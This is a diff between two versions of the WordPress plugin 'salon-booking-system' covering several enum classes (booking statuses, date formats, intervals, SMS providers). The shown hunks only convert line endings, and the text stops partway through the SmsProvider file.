\u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FEnum\u002FAvailabilityModeProvider.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FEnum\u002FAvailabilityModeProvider.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FEnum\u002FAvailabilityModeProvider.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FEnum\u002FAvailabilityModeProvider.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,62 +1,62 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\r\n-\r\n-class SLN_Enum_AvailabilityModeProvider  extends SLN_Enum_AbstractEnum\r\n-{\r\n-\r\n-    protected static $labels;\r\n-\r\n-    private static $classes = array(\r\n-        'basic' => 'SLN_Helper_Availability_Basic_DayBookings',\r\n-        'advanced' => 'SLN_Helper_Availability_Advanced_DayBookings',\r\n-        'highend' => 'SLN_Helper_Availability_Highend_DayBookings',\r\n-    );\r\n-\r\n-    public static function toArray()\r\n-    {\r\n-        return self::getLabels();\r\n-    }\r\n-\r\n-    public static function getLabel($key)\r\n-    {\r\n-        $labels = self::getLabels();\r\n-        if (isset($labels[$key])) {\r\n-            throw new Exception('label not found');\r\n-        }\r\n-\r\n-        return $labels[$key];\r\n-    }\r\n-\r\n-    \u002F**\r\n-     * @param $key\r\n-     * @param DateTime $date\r\n-     * @param SLN_Wrapper_Booking $booking\r\n-     *\r\n-     * @return SLN_Helper_Availability_AbstractDayBookings\r\n-     * @throws Exception\r\n-     *\u002F\r\n-    public static function getService($key, DateTime $date, SLN_Wrapper_Booking $booking = null)\r\n-    {\r\n-        $name = self::getServiceName($key);\r\n-\r\n-        return new $name($date, $booking);\r\n-    }\r\n-\r\n-    public static function getServiceName($key)\r\n-    {\r\n-        if (!isset(self::$classes[$key])) {\r\n-            throw new Exception(sprintf('provider \"%s\" not found', esc_html($key)));\r\n-        }\r\n-\r\n-        return self::$classes[$key];\r\n-    }\r\n-\r\n-    public static function init()\r\n-    {\r\n-        self::$labels = array(\r\n-            'basic' => __('Basic (checks only the booking date)', 'salon-booking-system'),\r\n-            'advanced' => __('Advanced (evaluates also booking duration)', 'salon-booking-system'),\r\n-            'highend' => __('High end (evaluates also service duration and priority)', 'salon-booking-system'),\r\n-        );\r\n-    }\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\n+\n+class SLN_Enum_AvailabilityModeProvider  extends SLN_Enum_AbstractEnum\n+{\n+\n+    protected static $labels;\n+\n+    private static $classes = array(\n+        'basic' => 'SLN_Helper_Availability_Basic_DayBookings',\n+        'advanced' => 'SLN_Helper_Availability_Advanced_DayBookings',\n+        'highend' => 'SLN_Helper_Availability_Highend_DayBookings',\n+    );\n+\n+    public static function toArray()\n+    {\n+        return self::getLabels();\n+    }\n+\n+    public static function getLabel($key)\n+    {\n+        $labels = self::getLabels();\n+        if (isset($labels[$key])) {\n+            throw new Exception('label not found');\n+        }\n+\n+        return $labels[$key];\n+    }\n+\n+    \u002F**\n+     * @param $key\n+     * @param DateTime $date\n+     * @param SLN_Wrapper_Booking $booking\n+     *\n+     * @return SLN_Helper_Availability_AbstractDayBookings\n+     * @throws Exception\n+     *\u002F\n+    public static function getService($key, DateTime $date, SLN_Wrapper_Booking $booking = null)\n+    {\n+        $name = self::getServiceName($key);\n+\n+        return new $name($date, $booking);\n+    }\n+\n+    public static function getServiceName($key)\n+    {\n+        if (!isset(self::$classes[$key])) {\n+            throw new Exception(sprintf('provider \"%s\" not found', esc_html($key)));\n+        }\n+\n+        return self::$classes[$key];\n+    }\n+\n+    public static function init()\n+    {\n+        self::$labels = array(\n+            'basic' => __('Basic (checks only the booking date)', 'salon-booking-system'),\n+            'advanced' => __('Advanced (evaluates also booking duration)', 'salon-booking-system'),\n+            'highend' => __('High end (evaluates also service duration and priority)', 'salon-booking-system'),\n+        );\n+    }\n }\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,110 +1,110 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\r\n-class SLN_Enum_BookingStatus extends SLN_Enum_AbstractEnum\r\n-{\r\n-    const PENDING_PAYMENT = 'sln-b-pendingpayment';\r\n-    const DRAFT = 'auto-draft';\r\n-    const PENDING = 'sln-b-pending';\r\n-    const ERROR = 'sln-b-error';\r\n-    const PAID = 'sln-b-paid';\r\n-    const PAY_LATER = 'sln-b-paylater';\r\n-    const CANCELED = 'sln-b-canceled';\r\n-    const CONFIRMED = 'sln-b-confirmed';\r\n-    const TRASH = 'trash';\r\n-\r\n-    protected static $labels;\r\n-\r\n-    private static $colors = array(\r\n-            self::PENDING_PAYMENT => 'warning',\r\n-            self::PENDING   => 'warning',\r\n-            self::PAID      => 'success',\r\n-            self::PAY_LATER => 'info',\r\n-            self::CANCELED  => 'danger',\r\n-            self::CONFIRMED => 'success',\r\n-            self::ERROR     => 'default',\r\n-    );\r\n-\r\n-    private static $realcolors = array(\r\n-            self::PENDING_PAYMENT => 'orange',\r\n-            self::PENDING   => 'orange',\r\n-            self::PAID      => 'green',\r\n-            self::PAY_LATER => 'orange',\r\n-            self::CANCELED  => 'red',\r\n-            self::CONFIRMED => 'green',\r\n-            self::ERROR     => 'red',\r\n-    );\r\n-\r\n-    \u002F\u002F algolplus start\r\n-    private static $icons  = array(\r\n-\t        self::PENDING_PAYMENT => 'glyphicon-clock',\r\n-\t        self::PENDING   => 'glyphicon-clock',\r\n-\t        self::PAID      => 'glyphicon-thumbs-up',\r\n-\t        self::PAY_LATER => 'glyphicon-hourglass',\r\n-\t        self::CANCELED  => 'glyphicon-ban-circle',\r\n-\t        self::CONFIRMED => 'glyphicon-ok-sign',\r\n-\t        self::ERROR     => 'glyphicon-warning-sign',\r\n-    );\r\n-    \u002F\u002F algolplus end\r\n-\r\n-    public static $noTimeStatuses = array(\r\n-        self::ERROR,\r\n-        self::CANCELED,\r\n-    );\r\n-\r\n-    public static function toArray()\r\n-    {\r\n-\r\n-        return self::getLabels();\r\n-    }\r\n-\r\n-    public static function toBackendWrapper(){\r\n-        $ret = self::getLabels();\r\n-        if(! defined('SLN_VERSION_PAY')){\r\n-            unset($ret[self::PENDING_PAYMENT], $ret[self::PAY_LATER], $ret[self::PAID]);\r\n-        }\r\n-        return $ret;\r\n-    }\r\n-\r\n-    public static function getLabel($key)\r\n-    {\r\n-        $labels = self::getLabels();\r\n-        return isset($labels[$key]) ? $labels[$key] : $labels[self::ERROR];\r\n-    }\r\n-    public static function getColor($key)\r\n-    {\r\n-        return isset(self::$colors[$key]) ? self::$colors[$key] : self::$colors[self::ERROR];\r\n-    }\r\n-    public static function getRealColor($key)\r\n-    {\r\n-        return isset(self::$realcolors[$key]) ? self::$realcolors[$key] : self::$realcolors[self::ERROR];\r\n-    }\r\n-    \u002F\u002F algolplus start\r\n-    public static function getIcon($key)\r\n-    {\r\n-        return isset(self::$icons[$key]) ? self::$icons[$key] : self::$icons[self::ERROR];\r\n-    }\r\n-\r\n-    public static function getForceStatus($new_status){\r\n-        $statuses = (new ReflectionClass('SLN_Enum_BookingStatus'))->getConstants();\r\n-        if(!array_search($new_status, $statuses)){\r\n-            $ret = $statuses[strtoupper($new_status)];\r\n-            return empty($ret) ? SLN_Enum_BookingStatus::PENDING : $ret;\r\n-        }\r\n-        return $new_status;\r\n-    }\r\n-    \u002F\u002F algolplus end\r\n-\r\n-\r\n-    public static function init()\r\n-    {\r\n-        self::$labels = array(\r\n-            self::CONFIRMED => __('Confirmed', 'salon-booking-system'),\r\n-            self::PENDING_PAYMENT   => __('Pending payment', 'salon-booking-system'),\r\n-            self::PENDING   => __('Pending', 'salon-booking-system'),\r\n-            self::PAID      => __('Paid', 'salon-booking-system'),\r\n-            self::PAY_LATER => __('Pay later', 'salon-booking-system'),\r\n-            self::CANCELED  => __('Canceled', 'salon-booking-system'),\r\n-            self::ERROR     => __('ERROR', 'salon-booking-system'),\r\n-        );\r\n-    }\r\n-}\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\n+class SLN_Enum_BookingStatus extends SLN_Enum_AbstractEnum\n+{\n+    const PENDING_PAYMENT = 'sln-b-pendingpayment';\n+    const DRAFT = 'auto-draft';\n+    const PENDING = 'sln-b-pending';\n+    const ERROR = 'sln-b-error';\n+    const PAID = 'sln-b-paid';\n+    const PAY_LATER = 'sln-b-paylater';\n+    const CANCELED = 'sln-b-canceled';\n+    const CONFIRMED = 'sln-b-confirmed';\n+    const TRASH = 'trash';\n+\n+    protected static $labels;\n+\n+    private static $colors = array(\n+            self::PENDING_PAYMENT => 'warning',\n+            self::PENDING   => 'warning',\n+            self::PAID      => 'success',\n+            self::PAY_LATER => 'info',\n+            self::CANCELED  => 'danger',\n+            self::CONFIRMED => 'success',\n+            self::ERROR     => 'default',\n+    );\n+\n+    private static $realcolors = array(\n+            self::PENDING_PAYMENT => 'orange',\n+            self::PENDING   => 'orange',\n+            self::PAID      => 'green',\n+            self::PAY_LATER => 'orange',\n+            self::CANCELED  => 'red',\n+            self::CONFIRMED => 'green',\n+            self::ERROR     => 'red',\n+    );\n+\n+    \u002F\u002F algolplus start\n+    private static $icons  = array(\n+\t        self::PENDING_PAYMENT => 'glyphicon-clock',\n+\t        self::PENDING   => 'glyphicon-clock',\n+\t        self::PAID      => 'glyphicon-thumbs-up',\n+\t        self::PAY_LATER => 'glyphicon-hourglass',\n+\t        self::CANCELED  => 'glyphicon-ban-circle',\n+\t        self::CONFIRMED => 'glyphicon-ok-sign',\n+\t        self::ERROR     => 'glyphicon-warning-sign',\n+    );\n+    \u002F\u002F algolplus end\n+\n+    public static $noTimeStatuses = array(\n+        self::ERROR,\n+        self::CANCELED,\n+    );\n+\n+    public static function toArray()\n+    {\n+\n+        return self::getLabels();\n+    }\n+\n+    public static function toBackendWrapper(){\n+        $ret = self::getLabels();\n+        if(! defined('SLN_VERSION_PAY')){\n+            unset($ret[self::PENDING_PAYMENT], $ret[self::PAY_LATER], $ret[self::PAID]);\n+        }\n+        return $ret;\n+    }\n+\n+    public static function getLabel($key)\n+    {\n+        $labels = self::getLabels();\n+        return isset($labels[$key]) ? $labels[$key] : $labels[self::ERROR];\n+    }\n+    public static function getColor($key)\n+    {\n+        return isset(self::$colors[$key]) ? self::$colors[$key] : self::$colors[self::ERROR];\n+    }\n+    public static function getRealColor($key)\n+    {\n+        return isset(self::$realcolors[$key]) ? self::$realcolors[$key] : self::$realcolors[self::ERROR];\n+    }\n+    \u002F\u002F algolplus start\n+    public static function getIcon($key)\n+    {\n+        return isset(self::$icons[$key]) ? self::$icons[$key] : self::$icons[self::ERROR];\n+    }\n+\n+    public static function getForceStatus($new_status){\n+        $statuses = (new ReflectionClass('SLN_Enum_BookingStatus'))->getConstants();\n+        if(!array_search($new_status, $statuses)){\n+            $ret = $statuses[strtoupper($new_status)];\n+            return empty($ret) ? SLN_Enum_BookingStatus::PENDING : $ret;\n+        }\n+        return $new_status;\n+    }\n+    \u002F\u002F algolplus end\n+\n+\n+    public static function init()\n+    {\n+        self::$labels = array(\n+            self::CONFIRMED => __('Confirmed', 'salon-booking-system'),\n+            self::PENDING_PAYMENT   => __('Pending payment', 'salon-booking-system'),\n+            self::PENDING   => __('Pending', 'salon-booking-system'),\n+            self::PAID      => __('Paid', 'salon-booking-system'),\n+            self::PAY_LATER => __('Pay later', 'salon-booking-system'),\n+            self::CANCELED  => __('Canceled', 'salon-booking-system'),\n+            self::ERROR     => __('ERROR', 'salon-booking-system'),\n+        );\n+    }\n+}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FEnum\u002FDateFormat.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FEnum\u002FDateFormat.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FEnum\u002FDateFormat.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FEnum\u002FDateFormat.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,53 +1,53 @@\n-\u003C?php\r\n-\r\n-class SLN_Enum_DateFormat extends SLN_Enum_AbstractEnum\r\n-{\r\n-    const _DEFAULT = 'default';\r\n-    const _SHORT   = 'short';\r\n-    const _SHORT_COMMA = 'short_comma';\r\n-    const _MDY = 'mm\u002Fdd\u002Fyyyy';\r\n-    const _MYSQL = 'mysql';\r\n-\r\n-    protected static $labels = array();\r\n-    private static $phpFormats = array(\r\n-        self::_DEFAULT => 'd M Y',\r\n-        self::_SHORT => 'd\u002Fm\u002FY',\r\n-        self::_SHORT_COMMA => 'd-m-Y',\r\n-        self::_MDY => 'm\u002Fd\u002FY',\r\n-        self::_MYSQL => 'Y-m-d',\r\n-    );\r\n-    private static $jsFormats = array(\r\n-        self::_DEFAULT => 'dd M yyyy',\r\n-        self::_SHORT => 'dd\u002Fmm\u002Fyyyy',\r\n-        self::_SHORT_COMMA => 'dd-mm-yyyy',\r\n-        self::_MDY => 'mm\u002Fdd\u002Fyyyy',\r\n-        self::_MYSQL => 'yyyy-mm-dd',\r\n-    );\r\n-\r\n-    public static function toArray()\r\n-    {\r\n-        return self::getLabels();\r\n-    }\r\n-\r\n-    public static function getLabel($key)\r\n-    {   \r\n-        $labels = self::getLabels();\r\n-        return isset($labels[$key]) ? $labels[$key] : $labels[self::_DEFAULT];\r\n-    }\r\n-    public static function getPhpFormat($key)\r\n-    {\r\n-        return isset(self::$phpFormats[$key]) ? self::$phpFormats[$key] : self::$phpFormats[self::_DEFAULT];\r\n-    }\r\n-    public static function getJsFormat($key)\r\n-    {\r\n-        return isset(self::$jsFormats[$key]) ? self::$jsFormats[$key] : self::$jsFormats[self::_DEFAULT];\r\n-    }\r\n-\r\n-    public static function init()\r\n-    {\r\n-        $d = time();\r\n-        foreach(self::$phpFormats as $k => $v){\r\n-            self::$labels[$k] = SLN_TimeFunc::translateDate($v,$d); \r\n-        }\r\n-    }\r\n+\u003C?php\n+\n+class SLN_Enum_DateFormat extends SLN_Enum_AbstractEnum\n+{\n+    const _DEFAULT = 'default';\n+    const _SHORT   = 'short';\n+    const _SHORT_COMMA = 'short_comma';\n+    const _MDY = 'mm\u002Fdd\u002Fyyyy';\n+    const _MYSQL = 'mysql';\n+\n+    protected static $labels = array();\n+    private static $phpFormats = array(\n+        self::_DEFAULT => 'd M Y',\n+        self::_SHORT => 'd\u002Fm\u002FY',\n+        self::_SHORT_COMMA => 'd-m-Y',\n+        self::_MDY => 'm\u002Fd\u002FY',\n+        self::_MYSQL => 'Y-m-d',\n+    );\n+    private static $jsFormats = array(\n+        self::_DEFAULT => 'dd M yyyy',\n+        self::_SHORT => 'dd\u002Fmm\u002Fyyyy',\n+        self::_SHORT_COMMA => 'dd-mm-yyyy',\n+        self::_MDY => 'mm\u002Fdd\u002Fyyyy',\n+        self::_MYSQL => 'yyyy-mm-dd',\n+    );\n+\n+    public static function toArray()\n+    {\n+        return self::getLabels();\n+    }\n+\n+    public static function getLabel($key)\n+    {   \n+        $labels = self::getLabels();\n+        return isset($labels[$key]) ? $labels[$key] : $labels[self::_DEFAULT];\n+    }\n+    public static function getPhpFormat($key)\n+    {\n+        return isset(self::$phpFormats[$key]) ? self::$phpFormats[$key] : self::$phpFormats[self::_DEFAULT];\n+    }\n+    public static function getJsFormat($key)\n+    {\n+        return isset(self::$jsFormats[$key]) ? self::$jsFormats[$key] : self::$jsFormats[self::_DEFAULT];\n+    }\n+\n+    public static function init()\n+    {\n+        $d = time();\n+        foreach(self::$phpFormats as $k => $v){\n+            self::$labels[$k] = SLN_TimeFunc::translateDate($v,$d); \n+        }\n+    }\n }\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FEnum\u002FInterval.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FEnum\u002FInterval.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FEnum\u002FInterval.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FEnum\u002FInterval.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,29 +1,29 @@\n-\u003C?php\r\n-\r\n-class SLN_Enum_Interval\r\n-{\r\n-    const _DEFAULT = 15;\r\n-    private static $labels = array(\r\n-        '4' => '4',\r\n-        '5' => '5',\r\n-        '10' => '10', \r\n-        '15' => '15', \r\n-        '20' => '20', \r\n-        '30' => '30',\r\n-        '45' => '45',\r\n-        '60' => '60',\r\n-        '75' => '75',\r\n-        '90' => '90',\r\n-        '105' => '105',\r\n-        '120' => '120',\r\n-        '135' => '135',\r\n-        '150' => '150',\r\n-        '240' => '240',\r\n-    );\r\n-\r\n-    public static function toArray()\r\n-    {\r\n-        return self::$labels;\r\n-    }\r\n-\r\n+\u003C?php\n+\n+class SLN_Enum_Interval\n+{\n+    const _DEFAULT = 15;\n+    private static $labels = array(\n+        '4' => '4',\n+        '5' => '5',\n+        '10' => '10', \n+        '15' => '15', \n+        '20' => '20', \n+        '30' => '30',\n+        '45' => '45',\n+        '60' => '60',\n+        '75' => '75',\n+        '90' => '90',\n+        '105' => '105',\n+        '120' => '120',\n+        '135' => '135',\n+        '150' => '150',\n+        '240' => '240',\n+    );\n+\n+    public static function toArray()\n+    {\n+        return self::$labels;\n+    }\n+\n }\n\\ No newline at end of file\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FEnum\u002FShortcodeStyle.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,88 +1,88 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\r\n-class SLN_Enum_ShortcodeStyle\r\n-{\r\n-    const _SMALL = 'small';\r\n-    const _MEDIUM = 'medium';\r\n-    const _LARGE = 'large';\r\n-    const _DEFAULT = self::_MEDIUM;\r\n-\r\n-    private static $labels;\r\n-    private static $classes;\r\n-    private static $sizes;\r\n-    private static $descriptions;\r\n-    private static $images = array();\r\n-\r\n-    public static function toArray()\r\n-    {\r\n-        self::init();\r\n-\r\n-        return self::$labels;\r\n-    }\r\n-\r\n-    public static function getLabel($key)\r\n-    {\r\n-        self::init();\r\n-\r\n-        return self::$labels[$key];\r\n-    }\r\n-\r\n-    public static function getClass($key)\r\n-    {\r\n-        self::init();\r\n-\r\n-        return self::$classes[$key];\r\n-    }\r\n-\r\n-    public static function getSize($key)\r\n-    {\r\n-        self::init();\r\n-\r\n-        return self::$sizes[$key];\r\n-    }\r\n-\r\n-\r\n-    public static function getDescription($key)\r\n-    {\r\n-        self::init();\r\n-\r\n-        return self::$descriptions[$key];\r\n-    }\r\n-\r\n-    public static function getImage($key)\r\n-    {\r\n-        self::init();\r\n-\r\n-        return self::$images[$key];\r\n-    }\r\n-\r\n-    public static function init()\r\n-    {\r\n-        if (self::$labels) {\r\n-            return;\r\n-        }\r\n-        self::$descriptions = array(\r\n-            self::_SMALL => __('Use this if your column is at least 400px width', 'salon-booking-system'),\r\n-            self::_MEDIUM => __('Use this if your column is at least 600px width', 'salon-booking-system'),\r\n-            self::_LARGE => __('Use this if your column is at least 900px width', 'salon-booking-system'),\r\n-        );\r\n-        self::$labels = array(\r\n-            self::_SMALL => __('Small', 'salon-booking-system'),\r\n-            self::_MEDIUM => __('Medium', 'salon-booking-system'),\r\n-            self::_LARGE => __('Large', 'salon-booking-system'),\r\n-        );\r\n-        self::$classes = array(\r\n-            self::_SMALL => 'sln-salon--s',\r\n-            self::_MEDIUM => 'sln-salon--m',\r\n-            self::_LARGE => 'sln-salon--l',\r\n-        );\r\n-        self::$sizes = array(\r\n-            self::_SMALL => 400,\r\n-            self::_MEDIUM => 600,\r\n-            self::_LARGE => 900,\r\n-        );\r\n-        foreach (self::$labels as $k => $v) {\r\n-            self::$images[$k] = SLN_PLUGIN_URL.'\u002Fimg\u002Fshortcode_style\u002F'.$k.'.png';\r\n-        }\r\n-    }\r\n-}\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\n+class SLN_Enum_ShortcodeStyle\n+{\n+    const _SMALL = 'small';\n+    const _MEDIUM = 'medium';\n+    const _LARGE = 'large';\n+    const _DEFAULT = self::_MEDIUM;\n+\n+    private static $labels;\n+    private static $classes;\n+    private static $sizes;\n+    private static $descriptions;\n+    private static $images = array();\n+\n+    public static function toArray()\n+    {\n+        self::init();\n+\n+        return self::$labels;\n+    }\n+\n+    public static function getLabel($key)\n+    {\n+        self::init();\n+\n+        return self::$labels[$key];\n+    }\n+\n+    public static function getClass($key)\n+    {\n+        self::init();\n+\n+        return self::$classes[$key];\n+    }\n+\n+    public static function getSize($key)\n+    {\n+        self::init();\n+\n+        return self::$sizes[$key];\n+    }\n+\n+\n+    public static function getDescription($key)\n+    {\n+        self::init();\n+\n+        return self::$descriptions[$key];\n+    }\n+\n+    public static function getImage($key)\n+    {\n+        self::init();\n+\n+        return self::$images[$key];\n+    }\n+\n+    public static function init()\n+    {\n+        if (self::$labels) {\n+            return;\n+        }\n+        self::$descriptions = array(\n+            self::_SMALL => __('Use this if your column is at least 400px width', 'salon-booking-system'),\n+            self::_MEDIUM => __('Use this if your column is at least 600px width', 'salon-booking-system'),\n+            self::_LARGE => __('Use this if your column is at least 900px width', 'salon-booking-system'),\n+        );\n+        self::$labels = array(\n+            self::_SMALL => __('Small', 'salon-booking-system'),\n+            self::_MEDIUM => __('Medium', 'salon-booking-system'),\n+            self::_LARGE => __('Large', 'salon-booking-system'),\n+        );\n+        self::$classes = array(\n+            self::_SMALL => 'sln-salon--s',\n+            self::_MEDIUM => 'sln-salon--m',\n+            self::_LARGE => 'sln-salon--l',\n+        );\n+        self::$sizes = array(\n+            self::_SMALL => 400,\n+            self::_MEDIUM => 600,\n+            self::_LARGE => 900,\n+        );\n+        foreach (self::$labels as $k => $v) {\n+            self::$images[$k] = SLN_PLUGIN_URL.'\u002Fimg\u002Fshortcode_style\u002F'.$k.'.png';\n+        }\n+    }\n+}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FEnum\u002FSmsProvider.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FEnum\u002FSmsProvider.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLN\u002FEnum\u002FSmsProvider.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLN\u002FEnum\u002FSmsProvider.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -1,64 +1,64 @@\n-\u003C?php\r\n-\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\r\n-class SLN_Enum_SmsProvider {\r\n-\r\n-\tprivate static $labels = array();\r\n-\r\n-\tprivate static $classes = array(\r\n-\t\t'fake' => 'SLN_Action_Sms_Fake',\r\n-\t\t'ip1smsv2' => 'SLN_Action_Sms_Ip1SmsV2',\r\n-\t\t'ip1smshttp' => 'SLN_Action_Sms_Ip1SmsHttp',\r\n-\t\t'ip1smswebservice' => 'SLN_Action_Sms_Ip1SmsWebservice',\r\n-\t\t'twilio' => 'SLN_Action_Sms_Twilio',\r\n-\t\t'plivo' => 'SLN_Action_Sms_Plivo',\r\n-\t);\r\n-\r\n-\tpublic static function toArray() {\r\n-\t\treturn self::$labels;\r\n-\t}\r\n-\r\n-\tpublic static function getLabel($key) {\r\n-\t\tif (!isset(self::$labels[$key])) {\r\n-\t\t\tthrow new Exception('label not found');\r\n-\t\t}\r\n-\r\n-\t\treturn self::$labels[$key];\r\n-\t}\r\n-\r\n-\t\u002F**\r\n-\t * @param            $key\r\n-\t * @param SLN_Plugin $plugin\r\n-\t * @return SLN_Action_Sms_Abstract\r\n-\t * @throws Exception\r\n-\t *\u002F\r\n-\tpublic static function getService($key, SLN_Plugin $plugin) {\r\n-\t\t$name = self::getServiceName($key);\r\n-\r\n-\t\treturn new $name($plugin, $key, self::getLabel($key));\r\n-\t}\r\n-\r\n-\tpublic static function getServiceName($key) {\r\n-\t\tif (!isset(self::$classes[$key])) {\r\n-\t\t\tthrow new Exception(sprintf('provider \"%s\" not found', esc_html($key)));\r\n-\t\t}\r\n-\r\n-\t\treturn self::$classes[$key];\r\n-\t}\r\n-\r\n-\tpublic static function init() {\r\n-\t\tself::$labels = array(\r\n-\t\t\t'fake' => __('test (sms sent by email to the admin)', 'salon-booking-system'),\r\n-\t\t\t'ip1smsv2' => 'IP1SMS (API V2)',\r\n-\t\t\t'ip1smswebservice' => 'IP1SMS Webservice\u002FSOAP (DEPRECATED - Migrate to API V2)',\r\n-\t\t\t'ip1smshttp' => 'IP1SMS HTTP (DEPRECATED - Migrate to API V2)',\r\n-\t\t\t'twilio' => 'Twilio',\r\n-\t\t\t'plivo' => 'Plivo',\r\n-\t\t);\r\n-\t\tdo_action('sln.sms_provider.init');\r\n-\t}\r\n-\r\n-\tpublic static function addService($key, $label, $class) {\r\n-\t\tself::$labels[$key] = $label;\r\n-\t\tself::$classes[$key] = $class;\r\n-\t}\r\n+\u003C?php\n+\u002F\u002F phpcs:ignoreFile WordPress.WP.I18n.TextDomainMismatch\n+class SLN_Enum_SmsProvider {\n+\n+\tprivate static $labels = array();\n+\n+\tprivate static $classes = array(\n+\t\t'fake' => 'SLN_Action_Sms_Fake',\n+\t\t'ip1smsv2' => 'SLN_Action_Sms_Ip1SmsV2',\n+\t\t'ip1smshttp' => 'SLN_Action_Sms_Ip1SmsHttp',\n+\t\t'ip1smswebservice' => 'SLN_Action_Sms_Ip1SmsWebservice',\n+\t\t'twilio' => 'SLN_Action_Sms_Twilio',\n+\t\t'plivo' => 'SLN_Action_Sms_Plivo',\n+\t);\n+\n+\tpublic static function toArray() {\n+\t\treturn self::$labels;\n+\t}\n+\n+\tpublic static function getLabel($key) {\n+\t\tif (!isset(self::$labels[$key])) {\n+\t\t\tthrow new Exception('label not found');\n+\t\t}\n+\n+\t\treturn self::$labels[$key];\n+\t}\n+\n+\t\u002F**\n+\t * @param            $key\n+\t * @param SLN_Plugin $plugin\n+\t * @return 